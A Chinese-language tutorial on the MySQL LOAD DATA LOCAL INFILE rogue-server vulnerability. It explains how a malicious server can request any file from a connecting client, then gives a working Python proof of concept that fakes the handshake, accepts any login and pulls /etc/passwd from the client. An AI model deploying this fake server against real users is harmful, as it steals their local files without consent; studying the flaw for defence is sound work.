LOAD DATA INFILE
mysql的LOAD DATA INFILE语句主要用于读取一个文件的内容并且存入一个表中。通常有两种用法,分别是:1
2load data infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
load data local infile "/etc/passwd" into table TestTable fields terminated by '分隔符';
第一个语句是读取服务器上的/etc/passwd文件并存入TestTable表中,第二个语句是读取客户端本地的/etc/passwd文件并存入TestTable表中。我们要利用的是LOAD DATA LOCAL INFILE。
漏洞原理
客户端:hi,现在我把我的/etc/passwd文件插入test表格里
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件
而对于这个请求,mysql并没有强制限制必须先由客户端发起load data,一个伪造的服务端可以在任何时候回复一个 file-transfer 请求,比如说最开始客户端请求初始化查询的时候。
客户端:hi,现在我要查询一下版本信息
服务端:好的,把/etc/passwd文件发过来吧
客户端:好的,这是我的/etc/passwd文件
客户端连接后会查询一下mysql的版本,如果我们在客户端发送查询之后,返回一个Response TABULAR数据包,即服务端向客户端发送了文件名的数据包,如果我们把这个文件名设置成我们想要读取的文件,那么我们就可以读取客户端的任意文件了。正如官方文档所写的 In theory, a patched server could be built that would tell the client program to transfer a file of the server’s choosing rather than the file named by the client in the LOAD DATA statement.
也就是说想要读取哪个文件是服务端说了算,跟客户端所request的文件名没有关系。
最重要的是伪造的服务端可以在任何时候回复一个file-transfer 请求,不一定非要是在客户端发送LOAD DATA LOCAL数据包的时候。
不过如果想要利用此特性,客户端必须具有CLIENT_LOCAL_FILES即(Can use LOAD DATA LOCAL)属性。如果没有的话,就要在连接mysql的时候加上–enable-local-infile。
下面给出一个简单的poc:
第一次发送一个greeting包,是服务端向客户端发送的握手初始化包
第二次是哭护短发送登陆验证包的时候,直接返回一个验证成功的应答,这样客户端不需要输入账户密码就可以连接上我们恶意构造的服务端
第三次发送的是一个file transfer包,直接让客户端发送我们想要的内容1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22#coding=utf-8
import socket
import logging
logging.basicConfig(level=logging.DEBUG)
filename="/etc/passwd"
sv=socket.socket()
sv.bind(("",3306))
sv.listen(5)
conn,address=sv.accept()
logging.info('Conn from: %r', address)
conn.sendall("\x4a\x00\x00\x00\x0a\x35\x2e\x35\x2e\x35\x33\x00\x17\x00\x00\x00\x6e\x7a\x3b\x54\x76\x73\x61\x6a\x00\xff\xf7\x21\x02\x00\x0f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x70\x76\x21\x3d\x50\x5c\x5a\x32\x2a\x7a\x49\x3f\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00")
conn.recv(9999)
logging.info("auth okay")
conn.sendall("\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00")
conn.recv(9999)
logging.info("want file...")
wantfile=chr(len(filename)+1)+"\x00\x00\x01\xFB"+filename
conn.sendall(wantfile)
content=conn.recv(9999)
logging.info(content)
conn.close()